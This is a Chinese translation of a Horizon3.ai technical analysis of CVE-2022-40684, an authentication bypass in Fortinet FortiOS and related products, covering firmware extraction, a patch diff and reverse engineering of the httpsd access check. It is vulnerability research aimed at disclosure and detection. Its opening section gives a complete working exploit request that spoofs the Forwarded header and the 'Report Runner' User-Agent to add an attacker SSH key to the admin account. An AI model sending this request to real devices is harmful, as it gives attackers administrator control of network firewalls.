介绍
Fortinet最近修补了其FortiOS, FortiProxy和FortiSwitchManager项目中的一个关键身份验证绕过漏洞 (CVE-2022-40684)。此漏洞使攻击者能够以管理员身份登录受影响的系统。为了演示本文中的漏洞,我们将使用 FortiOS 版本 7.2.1
原文链接:https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/
POC
让我们来看看这个漏洞的内部工作原理。您可以在这里找到我们的 POC。下面使用该漏洞向管理员用户添加 SSH 密钥,使攻击者能够以管理员身份通过 SSH 进入受影响的系统。
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by=”[127.0.0.1]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }
深潜
FortiOS 公开了一个允许用户配置系统的管理 Web 门户。此外,用户可以通过 SSH 连接到暴露锁定 CLI 接口的系统。熟悉系统后,我们的第一步是将易受攻击的固件与修补的固件进行比较。
固件检查
我们获得了固件的 VMware zip 文件,其中包含两个 vmdk 文件。首先,我们检查了 vmdk 文件,并使用 :virt-filesystems
guestmount
1 2 3 4 5 6 7 8 9 |
$>ls *.vmdk datadrive.vmdk fortios.vmdk $>sudo virt-filesystems --filesystems -a fortios.vmdk /dev/sda1 $>sudo mkdir fortios_mount $>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount $>cd fortios_mount $>ls boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk |
接下来,我们提取根文件系统,在那里我们找到一手装满.tar.xz文件:
1 2 3 4 5 |
$>sudo cp ../fortios_mount/rootfs.gz . $>gunzip rootfs.gz $>cpio -i 2> /dev/null < rootfs $>ls bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var |
有趣的是,尝试解压缩xz文件失败并出现损坏错误:
1 2 3 4 5 |
$>xz --decompress *.xz xz: bin.tar.xz: Compressed data is corrupt xz: migadmin.tar.xz: Compressed data is corrupt xz: node-scripts.tar.xz: Compressed data is corrupt xz: usr.tar.xz: Compressed data is corrupt |
目前尚不清楚这是否是混淆的尝试,但是我们在固件的sbin文件夹中找到了xz的版本。我们无法按原样运行它,但我们可以修补其链接器以指向我们的系统链接器,以最终解压缩文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$>xz --decompress *.xz xz: bin.tar.xz: Compressed data is corrupt xz: migadmin.tar.xz: Compressed data is corrupt xz: node-scripts.tar.xz: Compressed data is corrupt xz: usr.tar.xz: Compressed data is corrupt $>find . -name xz ./sbin/xz $>./sbin/xz --decompress *.xz bash: ./sbin/xz: No such file or directory $>file ./sbin/xz ./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped $>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz $>./sbin/xz --decompress *.xz $>ls *.tar bin.tar migadmin.tar node-scripts.tar usr.tar |
接下来,我们解压缩文件并开始检查其内容。我们发现包含大量二进制文件,其中许多是 指向 的符号链接。该文件夹似乎包含管理界面的前端 Web 代码。该文件夹似乎包含管理接口的 NodeJs 后端。最后,该文件夹包含一个 Libaries 文件夹和一个配置文件夹。/bin
/bin/init
migadmin
node-scripts
usr
apache2
补丁
我们将相同的步骤应用于固件版本7.2.2,以启用文件系统的差异。在文件夹中,我们发现大型二进制文件已更改,在文件夹中,我们发现文件已更改:bin
init
node-scripts
index.js
此差异显示代理处理程序显式设置 、 和 标头。这为我们提供了从哪里开始寻找有关如何利用此漏洞的线索的提示。httpsd
forwarded
x-forwarded-vdom
x-forwarded-cert
HTTPSD 和Apache处理程序
经过一些搜索,我们发现我们前面提到的初始化二进制文件包含一些与NodeJs diff中的标头匹配的字符串。这个初始化二进制文件相当大,似乎有很多功能,包括Apache钩子和用于各种管理REST API端点的处理程序。为了帮助我们的研究,我们SSH进入系统并启用了过程的调试输出:httpsd
1 2 3 4 5 |
fortios_7_2_1 # diagnose debug enable fortios_7_2_1 # diagnose debug application httpsd -1 Debug messages will be on for 5 minutes. fortios_7_2_1 # diagnose debug cli 8 Debug messages will be on for 5 minutes. |
在调查标头时,我们发现一个钩子来解析标头,提取和字段,并将它们附加到Apache结构。您可以看到,该字段允许我们在请求记录的连接上设置字段。forwarded
apache access_check_ex
for
by
request_rec
for
client_ip
此外,我们还看到一条日志消息,其中提到了用于特定请求的处理程序。
1 |
[httpsd 12478 - 1665412044 info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request |
搜索处理程序字符串后,我们在 init 二进制文件中找到一个处理程序数组:
在调查了一些处理程序之后,我们发现其中许多处理程序都调用了我们命名的函数:api_check_access
我们立即被吸引,首先检查vdom套接字选项是否可信,然后落入我们调用的函数。api_check_access_for_trusted_source
is_trusted_ip_and_user_agent
您可以看到,此函数检查 是否为“127.0.01”,以及标头是否与第二个参数匹配。使用两个可能的参数调用此函数:“节点.js”和“报表运行程序”。“Node.js”路径似乎执行了一些额外的验证,但使用“报表运行程序”可以让我们绕过身份验证并执行 API 请求!client_ip
User-Agent
武器化
向 REST API 发出未经身份验证的请求的能力非常强大。但是,我们注意到我们无法添加或更改管理员用户的密码。为了解决这个问题,我们更新了管理员用户的SSH密钥,以允许我们以管理员身份向目标SSH。
总结
总结一下,这里概述了利用这种漏洞的请求的必要条件:
- 攻击者可以使用 Fowarded 标头将
client_ip
设置为“127.0.0.1”。 - “可信访问”身份验证检查验证
client_ip
s “127.0.0.1” 和User-Agent
是“Report Runner”是否都在攻击者的控制之下。
对系统管理接口的任何符合上述条件的 HTTP 请求都应引起关注。攻击者可以利用此漏洞对易受攻击的系统执行任何操作。这包括更改网络配置、添加新用户和启动数据包捕获。请注意,这不是利用此漏洞的唯一方法,并且可能还有其他一组有效的条件。例如,此漏洞的修改版本使用 User-Agent
“Node.js”。此漏洞利用似乎遵循最近发现的企业软件漏洞的趋势,其中HTTP标头未正确验证或过度信任。我们在最近的 F5 和 VMware 漏洞中看到了这一点。